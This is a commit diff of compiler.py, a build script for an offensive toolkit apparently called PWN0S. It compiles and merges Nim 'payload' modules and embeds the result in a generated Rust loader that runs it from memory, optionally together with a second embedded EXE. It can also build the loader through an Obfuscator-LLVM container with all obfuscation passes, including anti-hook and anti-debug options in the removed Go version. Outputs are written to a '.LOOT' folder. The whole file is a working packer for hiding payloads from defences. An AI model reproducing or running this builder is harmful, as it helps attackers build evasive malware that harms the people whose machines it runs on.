Version 2
This commit is contained in:
622
compiler.py
622
compiler.py
@ -1,31 +1,255 @@
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
from pathlib import Path
|
||||
import sys
|
||||
import os
|
||||
import shutil
|
||||
import re
|
||||
import shlex
|
||||
import subprocess
|
||||
import tempfile
|
||||
def compile_nim(nim_file, output_exe, os_name, arch):
|
||||
output_exe = Path(output_exe).resolve()
|
||||
print(f"[*] Compiling Nim -> {os_name}:{arch}")
|
||||
|
||||
def compile_go(go_path, output_exe):
|
||||
env = os.environ.copy()
|
||||
env["GOOS"] = "windows"
|
||||
env["GOARCH"] = "amd64"
|
||||
result = subprocess.run(["go", "build", "-o", output_exe, go_path], env=env)
|
||||
if result.returncode != 0 or not os.path.isfile(output_exe):
|
||||
print(f"[Error] Go build failed for {go_path}")
|
||||
nim_cmd = [
|
||||
"nim", "c",
|
||||
"-d:release",
|
||||
"-d:ssl",
|
||||
]
|
||||
if os_name == "windows":
|
||||
if sys.platform == "darwin":
|
||||
nim_cmd.append("-d:mingw")
|
||||
nim_cmd.append(f"--cpu:{arch}")
|
||||
else:
|
||||
nim_cmd.append("--os:windows")
|
||||
nim_cmd.append(f"--cpu:{arch}")
|
||||
|
||||
elif os_name == "linux":
|
||||
nim_cmd.append("--os:linux")
|
||||
nim_cmd.append(f"--cpu:{arch}")
|
||||
|
||||
elif os_name == "macos":
|
||||
nim_cmd.append("--os:macosx")
|
||||
nim_cmd.append(f"--cpu:{arch}")
|
||||
|
||||
nim_cmd.append(f'--out:{output_exe}')
|
||||
nim_cmd.append(str(nim_file))
|
||||
|
||||
print(f"[*] Running Nim compile command: {' '.join(shlex.quote(arg) for arg in nim_cmd)}")
|
||||
try:
|
||||
result = subprocess.run(nim_cmd, check=True, capture_output=True, text=True)
|
||||
print("[+] Nim compiler output:")
|
||||
print(result.stdout)
|
||||
if result.stderr:
|
||||
print("[+] Nim compiler errors:")
|
||||
print(result.stderr)
|
||||
except subprocess.CalledProcessError as e:
|
||||
print(f"[Error] Nim compilation failed with exit code {e.returncode}.")
|
||||
print("--- stdout ---")
|
||||
print(e.stdout)
|
||||
print("--- stderr ---")
|
||||
print(e.stderr)
|
||||
sys.exit(1)
|
||||
print(f"Built {output_exe}")
|
||||
except FileNotFoundError:
|
||||
print("[Error] 'nim' command not found. Please ensure Nim is installed and in your PATH.")
|
||||
sys.exit(1)
|
||||
|
||||
if not output_exe.exists():
|
||||
print(f"[Error] Nim compiler finished, but output file was not found at: {output_exe}")
|
||||
sys.exit(1)
|
||||
print(f"[+] Built Nim executable: {output_exe}")
|
||||
return output_exe
|
||||
|
||||
def generate_rust_memexec(go_exe_path, output_exe, embed_exe_path=None):
|
||||
with open(go_exe_path, "rb") as f:
|
||||
go_bytes = f.read()
|
||||
go_bytes_array = ','.join(str(b) for b in go_bytes)
|
||||
embed_code = ""
|
||||
def normalize_imports(lines):
|
||||
"""Normalize Nim import statements by splitting comma-separated imports."""
|
||||
result = []
|
||||
for line in lines:
|
||||
s = line.strip()
|
||||
if s.startswith("import "):
|
||||
mods = s[len("import "):].split(",")
|
||||
for m in mods:
|
||||
result.append("import " + m.strip())
|
||||
else:
|
||||
result.append(line.rstrip("\n"))
|
||||
return result
|
||||
|
||||
def extract_main_proc(nim_content):
|
||||
"""Extract the content of proc main(), normalizing its indentation."""
|
||||
lines = nim_content.splitlines()
|
||||
main_content = []
|
||||
in_main = False
|
||||
proc_indent_level = 0
|
||||
base_content_indent = -1
|
||||
|
||||
for line in lines:
|
||||
stripped_line = line.strip()
|
||||
if stripped_line.startswith("proc main()"):
|
||||
in_main = True
|
||||
proc_indent_level = len(line) - len(line.lstrip())
|
||||
continue
|
||||
|
||||
if in_main:
|
||||
current_indent = len(line) - len(line.lstrip())
|
||||
if current_indent <= proc_indent_level and stripped_line and not line.isspace():
|
||||
in_main = False
|
||||
continue
|
||||
|
||||
if stripped_line:
|
||||
if base_content_indent == -1:
|
||||
base_content_indent = current_indent
|
||||
relative_indent = current_indent - base_content_indent
|
||||
main_content.append(" " * relative_indent + stripped_line)
|
||||
return main_content
|
||||
|
||||
def apply_options_with_regex(content, options):
|
||||
"""
|
||||
Applies build options to the Nim source content using regex substitution.
|
||||
It looks for patterns like:
|
||||
let/const/var optionName = "default value"
|
||||
let/const/var optionName = someFunc("default value")
|
||||
"""
|
||||
if not options:
|
||||
return content
|
||||
|
||||
for option in options:
|
||||
key, value = option.split("=", 1)
|
||||
escaped_value = value.replace('\\', '\\\\').replace('"', '\\"')
|
||||
pattern = re.compile(r'((?:let|const|var)\s+' + re.escape(key) + r'\s*=\s*(?:[a-zA-Z0-9_]+\()?)".*?"', re.DOTALL)
|
||||
content = pattern.sub(r'\1"' + escaped_value + '"', content, count=1)
|
||||
return content
|
||||
|
||||
def merge_nim_modules(nim_files, out_dir: Path, options=None):
|
||||
"""Merge multiple Nim modules into a single file, deduplicating imports and combining proc main()."""
|
||||
if len(nim_files) < 2:
|
||||
print("[Error] At least two Nim files must be provided for merging.")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"[*] Merging modules: {nim_files}")
|
||||
loot_dir = out_dir
|
||||
loot_dir.mkdir(parents=True, exist_ok=True)
|
||||
out_path = loot_dir / "combined.nim"
|
||||
|
||||
merged_imports = set()
|
||||
merged_code = []
|
||||
main_contents = []
|
||||
|
||||
for f in nim_files:
|
||||
fpath = Path(f)
|
||||
if not fpath.is_file():
|
||||
print(f"[Error] Nim file not found: {f}")
|
||||
sys.exit(1)
|
||||
print(f"[*] Reading module: {f}")
|
||||
with open(f, "r", encoding="utf-8") as fh:
|
||||
content = fh.read()
|
||||
|
||||
content = apply_options_with_regex(content, options)
|
||||
|
||||
main_contents.append(extract_main_proc(content))
|
||||
|
||||
lines = content.splitlines()
|
||||
in_main_proc = False
|
||||
main_proc_indent = -1
|
||||
in_when_block = False
|
||||
when_block_indent = -1
|
||||
in_gorge_proc = False
|
||||
|
||||
for line in lines:
|
||||
stripped = line.strip()
|
||||
|
||||
if in_main_proc and stripped and (len(line) - len(line.lstrip()) <= main_proc_indent):
|
||||
in_main_proc = False
|
||||
if in_when_block and stripped and (len(line) - len(line.lstrip()) <= when_block_indent):
|
||||
in_when_block = False
|
||||
if in_gorge_proc and stripped and (len(line) - len(line.lstrip()) == 0):
|
||||
in_gorge_proc = False
|
||||
|
||||
if in_main_proc or in_when_block:
|
||||
continue
|
||||
|
||||
if stripped.startswith("proc main()"):
|
||||
in_main_proc = True
|
||||
main_proc_indent = len(line) - len(line.lstrip())
|
||||
continue
|
||||
if stripped.startswith("when isMainModule"):
|
||||
in_when_block = True
|
||||
when_block_indent = len(line) - len(line.lstrip())
|
||||
continue
|
||||
|
||||
if stripped.startswith("import "):
|
||||
mods = stripped[len("import "):].split(",")
|
||||
for m in mods:
|
||||
merged_imports.add("import " + m.strip())
|
||||
else:
|
||||
merged_code.append(line.rstrip("\n"))
|
||||
|
||||
final_code = []
|
||||
if merged_code:
|
||||
final_code.append(merged_code[0])
|
||||
for i in range(1, len(merged_code)):
|
||||
if merged_code[i].strip() == "" and merged_code[i-1].strip() == "":
|
||||
continue
|
||||
final_code.append(merged_code[i])
|
||||
|
||||
with open(out_path, "w", encoding="utf-8") as fh:
|
||||
fh.write("\n".join(sorted(merged_imports)))
|
||||
fh.write("\n\n")
|
||||
fh.write("\n".join(final_code))
|
||||
fh.write("\n\n")
|
||||
fh.write("proc main() =\n")
|
||||
for main_content in main_contents:
|
||||
if not main_content:
|
||||
continue
|
||||
fh.write(" block:\n")
|
||||
for line in main_content:
|
||||
fh.write(" " + line + "\n")
|
||||
fh.write("\n")
|
||||
fh.write("when isMainModule:\n")
|
||||
fh.write(" main()\n")
|
||||
|
||||
print(f"[+] Wrote merged Nim file: {out_path}")
|
||||
return out_path
|
||||
|
||||
def patch_nim_file(nim_file: Path, options: list):
|
||||
"""Injects const declarations into a single Nim file."""
|
||||
if options:
|
||||
print(f"[*] Patching {nim_file.name} with options: {options}")
|
||||
content = nim_file.read_text(encoding="utf-8")
|
||||
|
||||
content = apply_options_with_regex(content, options)
|
||||
nim_file.write_text(content, encoding="utf-8")
|
||||
|
||||
def parse_target(target_str):
|
||||
"""Parse the target string into OS and architecture."""
|
||||
try:
|
||||
os_name, arch = target_str.split(":")
|
||||
return os_name, arch
|
||||
except ValueError:
|
||||
print("[Error] Target must be in format os:arch, e.g. windows:amd64")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def generate_rust_wrapper(nim_exe, final_exe, target_os, target_arch, embed_exe=None, obfuscate=False, ollvm=None):
|
||||
"""Generate a Rust wrapper for the Nim executable using in-memory execution."""
|
||||
final_exe_path = Path(final_exe)
|
||||
package_name = final_exe_path.stem
|
||||
|
||||
if obfuscate:
|
||||
docker_path = shutil.which("docker")
|
||||
if not docker_path:
|
||||
print("[Error] Docker not found. Install Docker to use Obfuscator-LLVM.")
|
||||
sys.exit(1)
|
||||
print(f"[*] Found docker at: {docker_path}")
|
||||
|
||||
with open(nim_exe, 'rb') as f:
|
||||
nim_payload_bytes = f.read()
|
||||
|
||||
nim_payload_array = ','.join(str(b) for b in nim_payload_bytes)
|
||||
|
||||
embed_decl = ""
|
||||
if embed_exe_path:
|
||||
with open(embed_exe_path, "rb") as f:
|
||||
embed_code = ""
|
||||
if embed_exe:
|
||||
with open(embed_exe, "rb") as f:
|
||||
embed_bytes = f.read()
|
||||
embed_bytes_array = ','.join(str(b) for b in embed_bytes)
|
||||
embed_decl = f"const EMBEDDED_EXE: &[u8] = &[{embed_bytes_array}];"
|
||||
@ -35,258 +259,158 @@ def generate_rust_memexec(go_exe_path, output_exe, embed_exe_path=None):
|
||||
memexec::memexec_exe(EMBEDDED_EXE).expect("Failed to execute embedded EXE");
|
||||
}
|
||||
"""
|
||||
|
||||
rust_code = f'''
|
||||
use memexec;
|
||||
|
||||
{embed_decl}
|
||||
const GO_PAYLOAD: &[u8] = &[{go_bytes_array}];
|
||||
const NIM_PAYLOAD: &[u8] = &[{nim_payload_array}];
|
||||
|
||||
fn main() {{
|
||||
{embed_code} unsafe {{
|
||||
memexec::memexec_exe(GO_PAYLOAD).expect("Failed to execute PE from memory");
|
||||
{embed_code}
|
||||
unsafe {{
|
||||
memexec::memexec_exe(NIM_PAYLOAD).expect("Failed to execute Nim payload from memory");
|
||||
}}
|
||||
}}
|
||||
'''
|
||||
temp_dir = tempfile.mkdtemp(prefix="memexec_")
|
||||
try:
|
||||
src_dir = Path(temp_dir) / "src"
|
||||
src_dir.mkdir(parents=True, exist_ok=True)
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
project_dir = Path(tmpdir) / "rust_project"
|
||||
src_dir = project_dir / "src"
|
||||
src_dir.mkdir(parents=True)
|
||||
|
||||
main_rs = src_dir / "main.rs"
|
||||
main_rs.write_text(rust_code)
|
||||
cargo_toml = Path(temp_dir) / "Cargo.toml"
|
||||
cargo_toml.write_text("""
|
||||
print(f"[*] Wrote Rust wrapper source: {main_rs}")
|
||||
|
||||
cargo_toml_content = f"""
|
||||
[package]
|
||||
name = "payload"
|
||||
name = "{package_name}"
|
||||
version = "0.1.0"
|
||||
edition = "2018"
|
||||
|
||||
[dependencies]
|
||||
memexec = { git = "https://github.com/DmitrijVC/memexec", version = "0.3" }
|
||||
""")
|
||||
cargo_config_dir = Path(temp_dir) / ".cargo"
|
||||
cargo_config_dir.mkdir(exist_ok=True)
|
||||
config_toml = cargo_config_dir / "config.toml"
|
||||
config_toml.write_text("""
|
||||
[target.x86_64-pc-windows-gnu]
|
||||
linker = "x86_64-w64-mingw32-gcc"
|
||||
""")
|
||||
loot_dir = Path.cwd() / ".LOOT"
|
||||
loot_dir.mkdir(exist_ok=True)
|
||||
final_exe = loot_dir / output_exe
|
||||
if os.environ.get('PWNOS_DOCKER_OBFUSCATE', '0') == '1':
|
||||
docker_image = "ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest"
|
||||
user_project_dir = str(temp_dir)
|
||||
memexec = {{ git = "https://github.com/DmitrijVC/memexec", version = "0.3" }}
|
||||
"""
|
||||
(project_dir / "Cargo.toml").write_text(cargo_toml_content.strip())
|
||||
|
||||
rust_target = {
|
||||
("windows", "amd64"): "x86_64-pc-windows-gnu",
|
||||
("windows", "arm64"): "aarch64-pc-windows-gnu",
|
||||
("linux", "amd64"): "x86_64-unknown-linux-gnu",
|
||||
("linux", "arm64"): "aarch64-unknown-linux-gnu",
|
||||
("macos", "amd64"): "x86_64-apple-darwin",
|
||||
("macos", "arm64"): "aarch64-apple-darwin"
|
||||
}[(target_os, target_arch)]
|
||||
|
||||
cargo_cmd = [
|
||||
"cargo", "build", "--release", "--target", rust_target
|
||||
]
|
||||
|
||||
if obfuscate:
|
||||
project_path = str(project_dir)
|
||||
volume_mapping = f"{project_path}:/projects"
|
||||
|
||||
if ollvm:
|
||||
for pass_name in ollvm:
|
||||
cargo_cmd.append(f"-Cllvm-args=-enable-{pass_name}")
|
||||
else:
|
||||
cargo_cmd.append("-Cllvm-args=-enable-allobf")
|
||||
|
||||
docker_cmd = [
|
||||
"docker", "run", "--rm",
|
||||
"--platform", "linux/amd64",
|
||||
"-e", "CARGO_BUILD_JOBS=1",
|
||||
"-v", f"{user_project_dir}:/projects/",
|
||||
"-w", "/projects/",
|
||||
docker_image,
|
||||
"cargo", "rustc",
|
||||
"--target", "x86_64-pc-windows-gnu",
|
||||
"--release",
|
||||
"--",
|
||||
"-Cdebuginfo=0",
|
||||
"-Cstrip=symbols",
|
||||
"-Cpanic=abort",
|
||||
"-Copt-level=3",
|
||||
"-Cllvm-args=-enable-acdobf",
|
||||
"-Cllvm-args=-enable-antihook",
|
||||
"-Cllvm-args=-enable-adb",
|
||||
"-Cllvm-args=-enable-bcfobf",
|
||||
"-Cllvm-args=-enable-splitobf",
|
||||
"-Cllvm-args=-enable-subobf",
|
||||
"-Cllvm-args=-enable-fco",
|
||||
"-Cllvm-args=-enable-constenc"
|
||||
"-v", volume_mapping,
|
||||
"-w", "/projects",
|
||||
"ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest",
|
||||
*cargo_cmd
|
||||
]
|
||||
result = subprocess.run(docker_cmd)
|
||||
if result.returncode != 0:
|
||||
print("[Error] Rust build/obfuscation failed")
|
||||
print(f"[*] Running Dockerized cargo rustc command: {' '.join(docker_cmd)}")
|
||||
try:
|
||||
subprocess.run(docker_cmd, check=True, capture_output=True, text=True)
|
||||
except subprocess.CalledProcessError as e:
|
||||
print(f"[Error] Dockerized Rust compilation failed: {e}")
|
||||
print(f"Stdout: {e.stdout}")
|
||||
print(f"Stderr: {e.stderr}")
|
||||
sys.exit(1)
|
||||
built_exe = Path(temp_dir) / "target" / "x86_64-pc-windows-gnu" / "release" / "payload.exe"
|
||||
os.replace(built_exe, final_exe)
|
||||
print(f"Final EXE created at: {final_exe}")
|
||||
else:
|
||||
result = subprocess.run([
|
||||
"cargo", "build", "--release", "--target", "x86_64-pc-windows-gnu"
|
||||
], cwd=temp_dir)
|
||||
if result.returncode != 0:
|
||||
print("[Error] Native Rust build failed")
|
||||
print(f"[*] Running local cargo rustc command: {' '.join(cargo_cmd)}")
|
||||
try:
|
||||
subprocess.run(cargo_cmd, check=True, cwd=project_dir, capture_output=True, text=True)
|
||||
except subprocess.CalledProcessError as e:
|
||||
print(f"[Error] Rust compilation failed: {e}")
|
||||
print(f"Stdout: {e.stdout}")
|
||||
print(f"Stderr: {e.stderr}")
|
||||
sys.exit(1)
|
||||
except FileNotFoundError:
|
||||
print("[Error] 'cargo' command not found. Please ensure Rust is installed and in your PATH.")
|
||||
sys.exit(1)
|
||||
built_exe = Path(temp_dir) / "target" / "x86_64-pc-windows-gnu" / "release" / "payload.exe"
|
||||
os.replace(built_exe, final_exe)
|
||||
print(f"Final EXE created at: {final_exe}")
|
||||
finally:
|
||||
shutil.rmtree(temp_dir, ignore_errors=True)
|
||||
|
||||
def merge_go_modules(go_files, merged_go_path):
|
||||
"""
|
||||
Merges multiple Go files into one, so their main logic runs in order.
|
||||
Writes the merged Go file to merged_go_path.
|
||||
Automatically removes unused imports.
|
||||
"""
|
||||
all_imports = set()
|
||||
func_bodies = []
|
||||
main_funcs = []
|
||||
used_names = set()
|
||||
func_name_to_body = {}
|
||||
|
||||
def unique_func_name(base, used):
|
||||
i = 1
|
||||
name = base
|
||||
while name in used:
|
||||
name = f"{base}_{i}"
|
||||
i += 1
|
||||
used.add(name)
|
||||
return name
|
||||
|
||||
def extract_functions(src):
|
||||
"""Extract all top-level functions from Go source code using a line-based parser."""
|
||||
funcs = []
|
||||
lines = src.splitlines()
|
||||
in_func = False
|
||||
brace_count = 0
|
||||
func_lines = []
|
||||
func_name = None
|
||||
for idx, line in enumerate(lines):
|
||||
if not in_func:
|
||||
match = re.match(r'func\s+([\w]+)\s*\(', line)
|
||||
if match:
|
||||
in_func = True
|
||||
func_name = match.group(1)
|
||||
func_lines = [line]
|
||||
brace_count = line.count('{') - line.count('}')
|
||||
if brace_count == 0 and line.rstrip().endswith('}'):
|
||||
funcs.append((func_name, '\n'.join(func_lines)))
|
||||
in_func = False
|
||||
func_lines = []
|
||||
func_name = None
|
||||
elif in_func:
|
||||
func_lines.append(line)
|
||||
brace_count += line.count('{') - line.count('}')
|
||||
if brace_count == 0:
|
||||
funcs.append((func_name, '\n'.join(func_lines)))
|
||||
in_func = False
|
||||
func_lines = []
|
||||
func_name = None
|
||||
return funcs
|
||||
|
||||
for idx, go_file in enumerate(go_files):
|
||||
with open(go_file, 'r') as f:
|
||||
src = f.read()
|
||||
imports = set()
|
||||
import_block = re.findall(r'import \((.*?)\)', src, re.DOTALL)
|
||||
if import_block:
|
||||
for line in import_block[0].splitlines():
|
||||
line = line.strip().strip('"')
|
||||
if line:
|
||||
imports.add(line)
|
||||
else:
|
||||
single_imports = re.findall(r'import\s+"([^"]+)"', src)
|
||||
imports.update(single_imports)
|
||||
all_imports.update(imports)
|
||||
for func_name, body in extract_functions(src):
|
||||
if func_name == "main":
|
||||
new_name = unique_func_name(f"main_{os.path.splitext(os.path.basename(go_file))[0]}", used_names)
|
||||
body = re.sub(r'func\s+main\s*\(', f'func {new_name}(', body, count=1)
|
||||
main_funcs.append((new_name, body))
|
||||
else:
|
||||
func_bodies.append(body.strip())
|
||||
func_name_to_body[func_name] = body.strip()
|
||||
merged_code = 'package main\n\n'
|
||||
if all_imports:
|
||||
if len(all_imports) > 1:
|
||||
merged_code += 'import (\n'
|
||||
for imp in sorted(all_imports):
|
||||
merged_code += f'\t"{imp}"\n'
|
||||
merged_code += ')\n\n'
|
||||
else:
|
||||
merged_code += f'import "{list(all_imports)[0]}"\n\n'
|
||||
for helper in func_bodies:
|
||||
merged_code += helper + '\n\n'
|
||||
for func_name, main_body in main_funcs:
|
||||
merged_code += main_body.strip() + '\n\n'
|
||||
merged_code += 'func main() {\n'
|
||||
for func_name, _ in main_funcs:
|
||||
merged_code += f'\t{func_name}()\n'
|
||||
merged_code += '}\n'
|
||||
merged_code = remove_unused_imports(merged_code)
|
||||
with open(merged_go_path, 'w') as f:
|
||||
f.write(merged_code)
|
||||
|
||||
def remove_unused_imports(go_code):
|
||||
"""
|
||||
Remove unused imports from a Go source string.
|
||||
"""
|
||||
import_block = re.search(r'import \((.*?)\)', go_code, re.DOTALL)
|
||||
if not import_block:
|
||||
single_imports = re.findall(r'import\s+"([^"]+)"', go_code)
|
||||
for imp in single_imports:
|
||||
if not re.search(r'\b' + re.escape(imp.split('/')[-1]) + r'\b', go_code.split('import')[1]):
|
||||
go_code = re.sub(r'import\s+"' + re.escape(imp) + r'"\n', '', go_code)
|
||||
return go_code
|
||||
block = import_block.group(1)
|
||||
imports = [line.strip().strip('"') for line in block.splitlines() if line.strip()]
|
||||
used_imports = []
|
||||
for imp in imports:
|
||||
symbol = imp.split('/')[-1]
|
||||
if re.search(r'\b' + re.escape(symbol) + r'\b', go_code.split('import')[1]):
|
||||
used_imports.append(imp)
|
||||
if used_imports:
|
||||
new_block = 'import (\n' + ''.join([f'\t"{imp}"\n' for imp in used_imports]) + ')'
|
||||
go_code = re.sub(r'import \((.*?)\)', new_block, go_code, flags=re.DOTALL)
|
||||
else:
|
||||
go_code = re.sub(r'import \((.*?)\)\n', '', go_code, flags=re.DOTALL)
|
||||
return go_code
|
||||
output_binary_name = f"{package_name}.exe" if target_os == "windows" else package_name
|
||||
compiled_binary = project_dir / "target" / rust_target / "release" / output_binary_name
|
||||
if not compiled_binary.exists():
|
||||
print(f"[Error] Compiled binary not found at: {compiled_binary}")
|
||||
sys.exit(1)
|
||||
shutil.move(str(compiled_binary), final_exe_path)
|
||||
print(f"[+] Final executable: {final_exe_path}")
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Go-to-memexec EXE builder for PWN0S")
|
||||
parser.add_argument("--go_file", type=str, help="Path to Go file")
|
||||
parser.add_argument("--output_exe", type=str, help="Output EXE name (in .LOOT)")
|
||||
parser.add_argument("--embed", type=str, help="Path to EXE to embed and run before this module")
|
||||
parser.add_argument("--go-only", action="store_true", help="Only build Go file to EXE, no Rust wrapping")
|
||||
parser.add_argument("--merge", nargs='+', help="List of Go files to merge and run in order (last arg is output exe)")
|
||||
parser.add_argument("--obfuscate", action="store_true", help="Enable obfuscation (use Docker/Rust)")
|
||||
parser = argparse.ArgumentParser(description="Nim-to-EXE Builder")
|
||||
parser.add_argument("--nim_file", type=str, help="Path to a single Nim file")
|
||||
parser.add_argument("--merge", nargs="+", help="List of Nim modules to embed")
|
||||
parser.add_argument("--output_exe", type=str, required=True, help="Output executable name")
|
||||
parser.add_argument("--embed", type=str, help="Path to additional exe to embed & run")
|
||||
parser.add_argument("--nim-only", action="store_true", help="Only build Nim exe (no Rust)")
|
||||
parser.add_argument("--obfuscate", action="store_true", help="Enable Rust OLLVM obfuscation")
|
||||
parser.add_argument("--ollvm", nargs="*", help="OLLVM passes: bcfobf subobf constenc ...")
|
||||
parser.add_argument("--target", type=str, default="windows:amd64", help="Target triple (os:arch)")
|
||||
parser.add_argument("--option", action="append", help="Option to inject as const (e.g., key=value)")
|
||||
|
||||
args = parser.parse_args()
|
||||
if args.obfuscate:
|
||||
os.environ['PWNOS_DOCKER_OBFUSCATE'] = '1'
|
||||
else:
|
||||
os.environ['PWNOS_DOCKER_OBFUSCATE'] = '0'
|
||||
if args.merge:
|
||||
*go_files, output_exe = args.merge
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
merged_go = os.path.join(tmpdir, "merged.go")
|
||||
merge_go_modules(go_files, merged_go)
|
||||
go_exe = os.path.join(tmpdir, "payload.exe")
|
||||
compile_go(merged_go, go_exe)
|
||||
if args.obfuscate:
|
||||
generate_rust_memexec(go_exe, output_exe)
|
||||
else:
|
||||
loot_dir = Path.cwd() / ".LOOT"
|
||||
loot_dir.mkdir(exist_ok=True)
|
||||
final_exe = loot_dir / output_exe
|
||||
os.replace(go_exe, final_exe)
|
||||
print(f"Final EXE created at: {final_exe}")
|
||||
return
|
||||
if args.go_only:
|
||||
if not args.go_file or not args.output_exe:
|
||||
print("--go_file and --output_exe are required with --go-only")
|
||||
sys.exit(1)
|
||||
compile_go(args.go_file, args.output_exe)
|
||||
return
|
||||
else:
|
||||
if not args.go_file or not args.output_exe:
|
||||
print("--go_file and --output_exe are required for default build path")
|
||||
sys.exit(1)
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
go_exe = os.path.join(tmpdir, "payload.exe")
|
||||
compile_go(args.go_file, go_exe)
|
||||
if args.obfuscate:
|
||||
generate_rust_memexec(go_exe, args.output_exe, embed_exe_path=args.embed)
|
||||
else:
|
||||
loot_dir = Path.cwd() / ".LOOT"
|
||||
loot_dir.mkdir(exist_ok=True)
|
||||
final_exe = loot_dir / args.output_exe
|
||||
os.replace(go_exe, final_exe)
|
||||
print(f"Final EXE created at: {final_exe}")
|
||||
|
||||
if args.merge and args.nim_file:
|
||||
print("[Error] Cannot specify both --merge and --nim_file options.")
|
||||
sys.exit(1)
|
||||
if not args.merge and not args.nim_file:
|
||||
print("[Error] Must specify either --merge or --nim_file.")
|
||||
sys.exit(1)
|
||||
|
||||
target_os, target_arch = parse_target(args.target)
|
||||
|
||||
final_exe_path_str = args.output_exe
|
||||
if target_os == "windows" and not final_exe_path_str.lower().endswith(".exe"):
|
||||
final_exe_path_str += ".exe"
|
||||
print(f"[+] Corrected output name to: {Path(final_exe_path_str).name}")
|
||||
|
||||
final_exe = Path(final_exe_path_str).resolve()
|
||||
final_exe.parent.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
tmp_dir = Path(tmpdir)
|
||||
if args.merge:
|
||||
loot_dir = final_exe.parent
|
||||
launcher_source = merge_nim_modules(args.merge, loot_dir, options=args.option)
|
||||
else:
|
||||
launcher_source = Path(args.nim_file)
|
||||
patch_nim_file(launcher_source, args.option)
|
||||
|
||||
suffix = ".exe" if target_os == "windows" else ""
|
||||
nim_exe_tmp = tmp_dir / f"{final_exe.stem}_nim_payload{suffix}"
|
||||
compile_nim(launcher_source, nim_exe_tmp, target_os, target_arch)
|
||||
|
||||
if not args.nim_only and target_os == 'windows':
|
||||
print("[*] Generating Rust wrapper to embed Nim payload.")
|
||||
generate_rust_wrapper(
|
||||
str(nim_exe_tmp),
|
||||
final_exe,
|
||||
target_os, target_arch,
|
||||
embed_exe=args.embed,
|
||||
obfuscate=args.obfuscate,
|
||||
ollvm=args.ollvm
|
||||
)
|
||||
else:
|
||||
if not args.nim_only and target_os != 'windows':
|
||||
print(f"[*] Skipping Rust wrapper for non-Windows target ({target_os}).")
|
||||
shutil.move(str(nim_exe_tmp), final_exe)
|
||||
print(f"[+] Final executable: {final_exe}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user